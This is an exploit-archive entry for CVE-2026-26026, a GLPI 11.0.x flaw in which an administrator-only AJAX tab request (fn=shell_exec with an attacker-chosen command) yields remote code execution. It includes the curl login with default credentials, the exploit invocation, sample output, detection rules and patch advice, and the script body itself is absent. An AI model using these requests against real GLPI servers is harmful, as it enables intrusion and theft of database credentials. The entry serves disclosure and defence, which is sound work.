GLPI Form-Tab Callable Injection to Remote Code Execution (CVE-2026-26026)
Published: 2026-11-27 • Researcher: Charaf Eddine Aarab (GitHub: CEAarab); the underlying issue was reported to and fixed by the GLPI project (advisory GHSA-2c98-648q-h27h)
Exploitation signals
EPSS 10.9% · 97th percentile
- Severity
- Critical
- CVE
- CVE-2026-26026
- Category
- web
- Affected product
- GLPI asset and IT management suite, server-side item tab renderer (ajax/common.tabs.php) and the Form component templates
- Affected versions
- GLPI 11.0.0 through 11.0.5 (NVD range StartIncluding 11.0.0, EndExcluding 11.0.6); fixed in 11.0.6
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-04-22 (upstream commit a475f4fbe97cf508b32a8489844a83fe7f582362, “Create PoC.sh”) |
| Author / Researcher | Charaf Eddine Aarab (GitHub: CEAarab); the underlying issue was reported to and fixed by the GLPI project (advisory GHSA-2c98-648q-h27h) |
| CVE / Advisory | CVE-2026-26026 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.1 (CVSSv3.1, NVD record); EPSS 0.109 |
| Status | PoC (complete login-plus-injection chain in a single script, but it needs a pre-existing form record and no successful run is documented) |
| Tags | template injection, callable injection, GLPI, PHP, authenticated administrator, RCE, CWE-1336, CWE-94, CSRF |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | GLPI asset and IT management suite, server-side item tab renderer (ajax/common.tabs.php) and the Form component templates |
| Versions Affected | GLPI 11.0.0 through 11.0.5 (NVD range StartIncluding 11.0.0, EndExcluding 11.0.6); fixed in 11.0.6 |
| Language / Platform | PHP web application backed by MySQL or MariaDB, typically served by Apache or nginx on Linux |
| Authentication Required | Yes — an administrator session is required |
| Network Access Required | Yes — HTTP access to the GLPI web root |
Summary
GLPI 11.0.0 through 11.0.5 lets an authenticated administrator reach a code execution primitive through the AJAX item-tab renderer. The handler accepts extra request parameters that name a PHP callable and its argument, and it invokes that callable while building the tab content instead of keeping the rendering path limited to template data. The archived script logs in, then sends one crafted AJAX request that invokes a shell execution function with an operator-supplied command and prints the command output that comes back inside the tab HTML.
Vulnerability Details
Root Cause
GLPI builds item tabs server-side in ajax/common.tabs.php. The caller selects the page with _target, the item class with _itemtype and the tab with _glpi_tab; for a Form item the tab can be resolved as Glpi\Form\Form$main. The PoC shows that fn and a travel alongside those selectors and are used as a callable name and its first argument while the form tab is rendered. Because the callable is not restricted to a safe allow-list, a request with fn=shell_exec and a=id executes the command and the result is pushed into the tab HTML that is returned to the client. NVD classifies the flaw as CWE-1336 (improper neutralization of special elements used in a template engine) with a CWE-94 (code injection) component, and 11.0.6 is the release that fixes the issue.
Attack Vector
An authenticated administrator first posts to /front/login.php with the token taken from the login page and a valid credential pair. The script then issues a GET to /ajax/common.tabs.php with _target=/front/form/form.form.php, _itemtype=Glpi\Form\Form, _glpi_tab=Glpi\Form\Form$main, an existing form id, fn=shell_exec and a=
Impact
Remote code execution as the web server user (www-data in a typical package install). That level of access exposes the GLPI configuration and its database credentials in config/config_db.php, lets the attacker read or modify every asset, user and ticket record, write files into the web root, and pivot to other systems that GLPI manages or authenticates against. Because the flaw is in the rendering path rather than a single administrative feature, the affected instance cannot be trusted after exploitation.
Environment / Lab Setup
OS: Linux host with PHP 8.2 or later, MySQL/MariaDB and a web server
Target: GLPI 11.0.0 up to 11.0.5, http://TARGET/
Attacker: Linux, macOS or any host with bash and curl
Tools: bash, curl, grep (the script depends on grep -P support)Setup Steps
| |
The form record and the administrator password are external preconditions; the script creates neither.
Proof of Concept
Step-by-Step Reproduction
Confirm an administrator login works — the script first fetches the login page, extracts the _glpi_csrf_token value and posts it with the glpi/glpi default credentials.
Shell script1 2curl -s -c /tmp/glpi_cookies.txt -b /tmp/glpi_cookies.txt \ "http://TARGET/front/login.php" -d 'noAUTO=0&redirect=&_glpi_csrf_token=TOKEN&login_name=glpi&login_password=glpi'Run the exploit — the second argument is the form id and the third is the command to execute.
Shell script1./PoC.sh 192.168.0.10 6 idRead the command output — the script greps the tab HTML for value attributes that look like command output and prints up to five matches, otherwise it saves the raw response to /tmp/rce_response.html.
Shell script1grep -o 'value="[^"]*"' /tmp/rce_response.html
Exploit Code
See
PoC.shin this folder for the full script; the injection request is:
| |
Expected Output
[*] Target: 192.168.0.10 | Form ID: 6 | Command: id
[*] Getting session cookie...
[+] CSRF: 8f3c0a...
[*] Logging in as glpi/glpi...
[+] Login successful
[*] Triggering RCE: id
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Detection & Indicators of Compromise
GET /ajax/common.tabs.php?..._glpi_tab=Glpi%5CForm%5CForm%24main...&fn=shell_exec&a=... HTTP/1.1
GET /ajax/common.tabs.php?...&fn=system&a=... (other callable names)
POST /front/login.php with login_name=glpi (default account use)
Unexpected administrator logins from new source addresses or at unusual times
Tab responses whose value attributes contain command output rather than form data
New or modified files under the GLPI web root or config directorySIEM / IDS Rule (example):
alert http any any -> any any (msg:"CVE-2026-26026 GLPI form tab callable injection"; flow:to_server,established; content:"/ajax/common.tabs.php"; http_uri; content:"fn=shell_exec"; http_uri; reference:cve,2026-26026; sid:9026026; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to GLPI 11.0.6 or later, which fixes the template-injection path in the form tab renderer. |
| Workaround | Restrict administrator logins to trusted networks or a management VPN, and block requests that carry fn or a parameters on /ajax/common.tabs.php at the WAF until the patch is deployed. |
| Config Hardening | Replace the default glpi/glpi account with unique named administrators, enforce strong passwords and MFA where the GLPI release supports it, disable unused plugins, and keep the instance and its PHP dependencies current. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/CEAarab/CVE-2026-26026-PoC (stars 1, single bash script, no upstream README).
Review verdict: ingested. The repository is not a scanner or a version check: it authenticates to a user-supplied GLPI instance with real credentials, obtains a live CSRF token and session cookie, and then drives the vulnerable tab renderer with an attacker-chosen callable. It has no C2, persistence, evasion, credential-theft or mining components, and nothing beyond the exploit itself is copied. It is a single-request research PoC.
License: the repository has no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived script keeps the original content and adds only a three-line research-use header. There is no upstream README, so no upstream-README.md is included.
Limitations: the vulnerability requires an administrator account, so this is a post-authentication privilege escalation into RCE rather than an unauthenticated attack. The script assumes the default glpi/glpi credentials and a form record with id 6; a real deployment needs a named administrator password and the id of an existing form, passed as the second argument. The default target 176.16.74.57 is a placeholder left in the usage example. Output recovery is heuristic (it greps value attributes and filters form strings), so a different GLPI theme or a cached tab can hide the result and send the operator to the raw response saved at /tmp/rce_response.html. The script also depends on GNU grep -P, which is unavailable on some platforms. The fn and a parameter pair is the mechanism the script relies on, and it could not be confirmed against a live instance while preparing this entry; a release with a warm tab cache, a different theme or an additional permission check can silently return the normal tab without executing the command. No exploit was executed while preparing this entry and no successful run is documented upstream, which is why the status is PoC rather than Weaponized.
| |